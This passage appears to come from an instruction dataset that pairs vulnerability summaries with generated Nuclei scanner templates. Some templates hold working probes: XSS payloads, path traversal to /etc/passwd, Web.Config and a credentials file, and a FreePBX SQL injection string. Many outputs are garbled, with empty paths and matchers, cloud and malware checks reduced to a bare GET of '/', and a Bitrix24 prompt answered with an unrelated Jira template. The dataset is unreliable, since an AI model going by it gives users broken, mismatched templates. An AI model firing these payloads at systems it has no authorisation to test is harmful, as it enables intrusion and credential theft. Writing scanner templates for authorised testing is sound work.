          - "var ua='Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1';alert(/XSS/);//"
        part: body
      - type: word
        words:
          - "text/html"
        part: header


Instruction: Generate a Nuclei template for: Freemarker 2.3.33 - Out of Band Template Injection

Input:
Title: Freemarker 2.3.33 - Out of Band Template Injection
Summary: Freemarker 2.3.33 - Out of Band Template Injection
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: freemarker-oob

info:
  name: Freemarker 2.3.33 - Out of Band Template Injection
  author: 0xAwali,DhiyaneshDK,ritikchaddha
  severity: high
  description: Freemarker 2.3.33 - Out of Band Template Injection
  tags: ssti,dast,oast,oob,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Attu - Detect

Input:
Title: Attu - Detect
Summary: Attu - Detect. Attu was detected.. Tags: tech, vector-database, attu
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: attu-detect

info:
  name: Attu - Detect
  author: s4e-io
  severity: info
  description: Attu was detected.
  tags: tech,vector-database,attu,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Attu</title>"
          - "content="Attu"
        part: body
        condition: or


Instruction: Generate a Nuclei template for: LVS DownLoad.aspx - Local File Inclusion (LFI)

Input:
Title: LVS DownLoad.aspx - Local File Inclusion (LFI)
Summary: LVS DownLoad.aspx - Local File Inclusion (LFI). LVS lean value management system DownLoad.aspx has an arbitrary file reading vulnerability.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: lvs-download-lfi

info:
  name: LVS DownLoad.aspx - Local File Inclusion (LFI)
  author: pussycat0x
  severity: high
  description: LVS lean value management system DownLoad.aspx has an arbitrary file reading vulnerability.
  tags: lvs,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Business/DownLoad.aspx?p=UploadFile/../Web.Config"
    matchers:
      - type: word
        words:
          - "<configuration>"
          - "<appSettings>"
          - "<add key="SqlConnString""
        part: body
        condition: and
      - type: word
        words:
          - "application/ms-excel"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2019-3911

Input:
Title: Cross-Site Scripting (XSS) in labkey labkey_server
Summary: Reflected cross-site scripting (XSS) vulnerability in LabKey Server Community Edition before 18.3.0-61806.763 allows an unauthenticated remote attacker to inject arbitrary javascript via the onerror parameter in the /__r2/query endpoints.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: labkey labkey_server
Indicators: error

Output:
id: CVE-2019-3911

info:
  name: LabKey Server Community Edition <18.3.0 - Cross-Site Scripting
  author: princechaddha
  severity: medium
  description: LabKey Server Community Edition before 18.3.0-61806.763 contains a reflected cross-site scripting vulnerability via the onerror parameter in the /__r2/query endpoints, which allows an unauthenticated remote attacker to inject arbitrary JavaScript.
  tags: cve,cve2019,xss,labkey,tenable,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL"
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2025-57819

Input:
Title: SQL Injection in sangoma freepbx
Summary: FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17 endpoints are vulnerable due to insufficiently sanitized user-supplied data allowing unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation and remote code execution. This issue has been patched in endpoint versions 15.0.66, 16.0.89, and 17.0.3.
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: sangoma freepbx
Indicators: error, vulnerability detected

Output:
id: CVE-2025-57819

info:
  name: FreePBX - Remote Code Execution
  author: watchtowr,pussycat0x,DhiyaneshDk
  severity: critical
  description: FreePBX 15, 16, and 17 contain a remote code execution caused by insufficiently sanitized user-supplied data in endpoints, letting unauthenticated attackers manipulate the database and execute code remotely, exploit requires no authentication.
  tags: cve,cve2025,freepbx,sqli,rce,kev,intrusive,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x' AND EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~')) -- "
    matchers:
      - type: regex
        part: body
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
  - method: GET
    path:
    matchers:
      - type: dsl
  - method: GET
    path:
    matchers:
      - type: dsl


Instruction: Generate a Nuclei template for: Hue Personal Wireless Lighting - Detect

Input:
Title: Hue Personal Wireless Lighting - Detect
Summary: Hue Personal Wireless Lighting - Detect. This template detects the presence of Hue Personal Wireless Lighting systems by looking for specific welcome messages in the response.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: hue-wireless-lighting

info:
  name: Hue Personal Wireless Lighting - Detect
  author: ProjectDiscoveryAI
  severity: info
  description: This template detects the presence of Hue Personal Wireless Lighting systems by looking for specific welcome messages in the response.
  tags: tech,hue,iot,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "hue personal wireless lighting"
          - "Welcome to hue"
        condition: or


Instruction: Generate a Nuclei template for CVE-2022-36642

Input:
Title: Missing Authorization in telosalliance omnia_mpx_node_firmware
Summary: A local file disclosure vulnerability in /appConfig/userDB.json of Telos Alliance Omnia MPX Node through 1.0.0-1.4.9 allows attackers to access users credentials which makes him able to gain initial access to the control panel with high privilege because the cleartext storage of sensitive information which can be unlatched by exploiting the LFD vulnerability.
Vulnerability Type: Missing Authorization
Severity: critical
Affected Products: telosalliance omnia_mpx_node_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2022-36642

info:
  name: Omnia MPX 1.5.0+r1 - Local File Inclusion
  author: arafatansari,ritikchaddha,For3stCo1d
  severity: critical
  description: Telos Alliance Omnia MPX Node through 1.5.0+r1 is vulnerable to local file inclusion via logs/downloadMainLog. By retrieving userDB.json allows an attacker to retrieve cleartext credentials and escalate privileges via the control panel.
  tags: cve,cve2022,traversal,omnia,edb,lfi,telosalliance,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..//etc/passwd"
      - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json"
    matchers:
      - type: word
        words:
          - ""username":"
          - ""password":"
          - ""mustChangePwd":"
          - ""roleUser":"
        part: body
        condition: and
      - type: regex


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: artists-clients

info:
  name: Artists & Clients User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Artists & Clients user name information check was conducted.
  tags: osint,osint-art,artists-clients,discovery

http:
  - method: GET
    path:
      - "https://artistsnclients.com/people/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Member Since"
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: bentbox

info:
  name: Bentbox User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Bentbox user name information check was conducted.
  tags: osint,osint-porn,bentbox,discovery

http:
  - method: GET
    path:
      - "https://bentbox.co/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "<div id="user_bar">"
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: xvideos-models

info:
  name: XVIDEOS-models User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: XVIDEOS-models user name information check was conducted.
  tags: osint,osint-porn,xvideos-models,discovery

http:
  - method: GET
    path:
      - "https://www.xvideos.com/models/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Total video views"
        part: body


Instruction: Generate a Nuclei template for CVE-2022-31798

Input:
Title: Vulnerability (CWE-384) in nortekcontrol emerge_e3_firmware
Summary: Nortek Linear eMerge E3-Series 0.32-07p devices are vulnerable to /card_scan.php?CardFormatNo= XSS with session fixation (via PHPSESSID) when they are chained together. This would allow an attacker to take over an admin account or a user account.
Vulnerability Type: Vulnerability (CWE-384)
Severity: medium
Affected Products: nortekcontrol emerge_e3_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2022-31798

info:
  name: Nortek Linear eMerge E3-Series - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: There is a local session fixation vulnerability that, when chained with cross-site scripting, leads to account take over of admin or a lower privileged user.
  tags: cve2022,cve,emerge,nortek,xss,packetstorm,nortekcontrol,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E"
    matchers:
      - type: word
        words:
          - ","CardFormatNo":"<img src=x onerror=alert(document.domain)>"}"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-24737

Input:
Title: Cross-Site Scripting (XSS) in sigb pmb
Summary: PMB v7.4.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the query parameter at /admin/convert/export_z3950.php.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: sigb pmb
Indicators: error, vulnerability detected

Output:
id: CVE-2023-24737

info:
  name: PMB v7.4.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: PMB v7.4.6 allows an attacker to perform a reflected XSS on export_z3950.php via the 'query' parameter.
  tags: cve2023,cve,xss,pmb,pmb_project,sigb,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "3@1=<script>alert(document.domain)</script>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Log Statement Flag Not Configured Properly for PostgreSQL Database Instances

Input:
Title: Log Statement Flag Not Configured Properly for PostgreSQL Database Instances
Summary: Log Statement Flag Not Configured Properly for PostgreSQL Database Instances. Ensure that the "log_statement" database flag configured for your Google Cloud PostgreSQL database instances has the appropriate value (logging level) in accordance with your organization's logging policy. The "log_statement" flag controls which SQL statements are logged, with valid values being: none, ddl, mod, and all.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: gcloud-pg-log-statement-flag-not-configured

info:
  name: Log Statement Flag Not Configured Properly for PostgreSQL Database Instances
  author: princechaddha
  severity: medium
  description: Ensure that the "log_statement" database flag configured for your Google Cloud PostgreSQL database instances has the appropriate value (logging level) in accordance with your organization's logging policy. The "log_statement" flag controls which SQL statements are logged, with valid values being: none, ddl, mod, and all.
  tags: cloud,devops,gcp,gcloud,google-cloud-sql,postgresql,logging,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2019-10092

Input:
Title: Cross-Site Scripting (XSS) in apache http_server and others
Summary: In Apache HTTP Server 2.4.0-2.4.39, a limited cross-site scripting issue was reported affecting the mod_proxy error page. An attacker could cause the link on the error page to be malformed and instead point to a page of their choice. This would only be exploitable where a server was set up with proxying enabled but was misconfigured in such a way that the Proxy Error page was displayed.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: apache http_server, opensuse leap, debian debian_linux
Indicators: error

Output:
id: CVE-2019-10092

info:
  name: Apache HTTP Server <=2.4.39 - HTML Injection/Partial Cross-Site Scripting
  author: pdteam
  severity: medium
  description: Apache HTTP Server versions 2.4.0 through 2.4.39 are vulnerable to a limited cross-site scripting issue affecting the mod_proxy error page. An attacker could cause the link on the error page to be malformed and instead point to a page of their choice. This would only be exploitable where a server was set up with proxying enabled but was misconfigured in such a way that the Proxy Error page was displayed.
  tags: cve,cve2019,apache,htmli,injection,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%5cgoogle.com/evil.html"
    matchers:
      - type: word
        words:
          - "Proxy Error"
      - type: word
        words:
          - "<a href="/\google.com/evil.html">"


Instruction: Generate a Nuclei template for: Flutterwave Secret Key

Input:
Title: Flutterwave Secret Key
Summary: Flutterwave Secret Key. Tags: flutterwave, exposure, tokens
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: flutterwave-secretkey

info:
  name: Flutterwave Secret Key
  author: DhiyaneshDK
  severity: info
  description: Flutterwave Secret Key
  tags: flutterwave,exposure,tokens,secretkey,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2010-1956

Input:
Title: Path Traversal in thefactory com_gadgetfactory
Summary: Directory traversal vulnerability in the Gadget Factory (com_gadgetfactory) component 1.0.0 and 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.  NOTE: some of these details are obtained from third party information.
Vulnerability Type: Path Traversal
Severity: high
Affected Products: thefactory com_gadgetfactory
Indicators: error, vulnerability detected

Output:
id: CVE-2010-1956

info:
  name: Joomla! Component Gadget Factory 1.0.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Gadget Factory (com_gadgetfactory) component 1.0.0 and 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  tags: cve,cve2010,joomla,lfi,edb,thefactory,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_gadgetfactory&controller=../../../../../../../../../../etc/passwd%00"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-33904

Input:
Title: Cross-Site Scripting (XSS) in accela civic_platform
Summary: In Accela Civic Platform through 21.1, the security/hostSignon.do parameter servProvCode is vulnerable to XSS. NOTE: The vendor states "there are configurable security flags and we are unable to reproduce them with the available information.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: accela civic_platform
Indicators: error, vulnerability detected

Output:
id: CVE-2021-33904

info:
  name: Accela Civic Platform <=21.1 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.
  tags: cve,cve2021,accela,xss,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9"
    matchers:
      - type: word
        words:
          - "text/html"
        part: header
      - type: word
        words:
          - ""k3woq"^confirm(document.domain)^"a2pbrnzx5a9""
          - "servProvCode"
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Cross-site Scripting

Input:
Title: Cross-site Scripting (CWE-79)
Summary: The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. There are many variants of cross-site scripting, characterized by a variety of terms or involving different attack topologies. However, they all indicate the same fundamental weakness: improper neutralization of dangerous input between the adversary and a victim.
Vulnerability Type: Cross-site Scripting
Severity: high
Indicators: vulnerability detected, error

Output:
id: drupal-avatar-xss

info:
  name: Drupal Avatar Uploader - Cross-Site Scripting
  author: bywalks
  severity: high
  description: Drupal Avatar Uploader v7.x-1.0-beta8 plugin contains a cross-site scripting vulnerability in the slider import search feature and tab parameter via plugin settings.
  tags: xss,drupal,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/avatar_uploader.pages.inc?file=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
    matchers:
      - type: word
        words:
          - "<div><script>alert(document.domain)</script></div>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2020-13483

Input:
Title: Cross-Site Scripting (XSS) in bitrix24 bitrix24
Summary: The Web Application Firewall in Bitrix24 through 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: bitrix24 bitrix24
Indicators: error, vulnerability detected

Output:
id: CVE-2020-9344

info:
  name: Jira Subversion ALM for Enterprise <8.8.2 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: Jira Subversion ALM for Enterprise before 8.8.2 contains a cross-site scripting vulnerability at multiple locations.
  tags: cve2020,cve,atlassian,jira,xss,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
      - "{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS"
      - "{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
      - "{{BaseURL}}/plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test"
      - "{{BaseURL}}/plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
    matchers:
      - type: word
        words:
          - "<script>alert(document.domain)</script>"
          - "jira"
          - "subversion"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Emlog Pro - Installation

Input:
Title: Emlog Pro - Installation
Summary: Emlog Pro - Installation. Emlog Pro Installation page has been exposed.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: emlog-installer

info:
  name: Emlog Pro - Installation
  author: ritikchaddha
  severity: high
  description: Emlog Pro Installation page has been exposed.
  tags: emlog,install,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/install.php"
    matchers:
      - type: word
        words:
          - ">MySQL"
          - "install.php?action=install"
          - "emlog"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: horde-webmail-login

info:
  name: Horde Webmail Login Panel - Detect
  author: ritikchaddha
  severity: info
  description: Horde Webmail login panel was detected.
  tags: horde,webmail,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/horde/imp/login.php"
      - "{{BaseURL}}/imp/login.php"
    matchers:
      - type: word
        words:
          - "Welcome to Horde"
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Websvn Security Checks

Input:
Title: Websvn Security Checks
Summary: Websvn Security Checks. A simple workflow that runs all Websvn related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: websvn-workflow

info:
  name: Websvn Security Checks
  author: daffainfo
  severity: info
  description: A simple workflow that runs all Websvn related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Unrestricted PostgreSQL Database Access in Azure NSGs

Input:
Title: Unrestricted PostgreSQL Database Access in Azure NSGs
Summary: Unrestricted PostgreSQL Database Access in Azure NSGs. Ensure that Microsoft Azure network security groups (NSGs) do not allow unrestricted inbound access on TCP port 5432, used by PostgreSQL Database Server, to prevent unauthorized database access.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: azure-nsg-postgresql-unrestricted

info:
  name: Unrestricted PostgreSQL Database Access in Azure NSGs
  author: princechaddha
  severity: high
  description: Ensure that Microsoft Azure network security groups (NSGs) do not allow unrestricted inbound access on TCP port 5432, used by PostgreSQL Database Server, to prevent unauthorized database access.
  tags: cloud,devops,azure,microsoft,nsg,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2010-2920

Input:
Title: Path Traversal in foobla com_foobla_suggestions
Summary: Directory traversal vulnerability in the Foobla Suggestions (com_foobla_suggestions) component 1.5.1.2 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
Vulnerability Type: Path Traversal
Severity: medium
Affected Products: foobla com_foobla_suggestions
Indicators: error, vulnerability detected

Output:
id: CVE-2010-2920

info:
  name: Joomla! Component Foobla Suggestions 1.5.1.2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Foobla Suggestions (com_foobla_suggestions) component 1.5.1.2 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
  tags: cve,cve2010,joomla,lfi,edb,foobla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_foobla_suggestions&controller=../../../../../../../../../../../../etc/passwd%00"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: OS Login Not Required

Input:
Title: OS Login Not Required
Summary: OS Login Not Required. Ensure that "Require OS Login" constraint policy is enforced at the GCP organization level in order to enable OS Login feature on all newly created Google Cloud projects within your organization. The OS Login provides you with centralized and automated SSH key pair management.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: gcloud-org-os-login

info:
  name: OS Login Not Required
  author: princechaddha
  severity: medium
  description: Ensure that "Require OS Login" constraint policy is enforced at the GCP organization level in order to enable OS Login feature on all newly created Google Cloud projects within your organization. The OS Login provides you with centralized and automated SSH key pair management.
  tags: cloud,devops,gcp,gcloud,resourcemanager,security,compute,ssh,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-26585

Input:
Title: SQL Injection in mingsoft mcms
Summary: Mingsoft MCMS v5.2.7 was discovered to contain a SQL injection vulnerability via /cms/content/list.
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: mingsoft mcms
Indicators: error, vulnerability detected

Output:
id: CVE-2022-26585

info:
  name: Mingsoft MCMS v5.2.7 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: Mingsoft MCMS v5.2.7 contains an SQL injection vulnerability via /cms/content/list that allows unauthenticated attackers to execute arbitrary SQL commands on the affected database server.
  tags: cve,cve2022,mingsoft,mcms,sqli,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "c8c605999f3d8352d7bb792cf"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: clave-login-panel

info:
  name: Clave Login Panel - Detect
  author: __Fazal
  severity: info
  description: Clave login panel was detected.
  tags: panel,clave,login,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin.php"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Clave"


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: eclipse-birt-panel

info:
  name: Eclipse BIRT Panel - Detect
  author: Shiva (Strobes Security)
  severity: info
  description: Eclipse BIRT (Business Intelligence Reporting Tool) detected
  tags: panel,eclipsebirt,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/reportviewer/"
    matchers:
      - type: word
        words:
          - "alt="Eclipse Logo"
          - "Eclipse BIRT Home"
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: delta-login-panel

info:
  name: Delta Controls Admin Login Panel - Detect
  author: gy741
  severity: info
  description: Delta Controls admin login panel was detected.
  tags: panel,delta,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/deltaweb/hmi_login.asp"
    matchers:
      - type: word
        words:
          - "Delta Controls ORCAview"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: WooCommerce Cart Abandonment Recovery Detection

Input:
Title: WooCommerce Cart Abandonment Recovery Detection
Summary: WooCommerce Cart Abandonment Recovery Detection. Tags: tech, wordpress, wp-plugin
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wordpress-woo-cart-abandonment-recovery

info:
  name: WooCommerce Cart Abandonment Recovery Detection
  author: ricardomaia
  severity: info
  description: WooCommerce Cart Abandonment Recovery Detection
  tags: tech,wordpress,wp-plugin,top-200,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/woo-cart-abandonment-recovery/readme.txt"
    matchers:
      - type: dsl
      - type: regex
        part: body


Instruction: Generate a Nuclei template for: WordPress Theme Detection

Input:
Title: WordPress Theme Detection
Summary: WordPress Theme Detection. Tags: fuzz, wordpress, fuzzing
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wordpress-themes-detect

info:
  name: WordPress Theme Detection
  author: 0xcrypto
  severity: info
  description: WordPress Theme Detection
  tags: fuzz,wordpress,fuzzing,vuln

http:
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "== Description =="


Instruction: Generate a Nuclei template for: PowerWare Malware - Detect

Input:
Title: PowerWare Malware - Detect
Summary: PowerWare Malware - Detect. Tags: malware, file, powerware
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: powerware-malware

info:
  name: PowerWare Malware - Detect
  author: daffainfo
  severity: info
  description: PowerWare Malware - Detect
  tags: malware,file,powerware

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-51978

Input:
Title: Vulnerability (CWE-1391) in CVE-2024-51978
Summary: An unauthenticated attacker who knows the target device's serial number, can generate the default administrator password for the device. An unauthenticated attacker can first discover the target device's serial number via CVE-2024-51977 over HTTP/HTTPS/IPP, or via a PJL request, or via an SNMP request.
Vulnerability Type: Vulnerability (CWE-1391)
Severity: critical
Indicators: error, vulnerability detected

Output:
id: CVE-2024-51978

info:
  name: Brother Printers – Authentication Bypass via Default Admin Password
  author: iamnoooob,pdresearch,MathematicianGoat
  severity: critical
  description: By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.
  tags: cve,cve2024,brother,authenticated,default-login,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
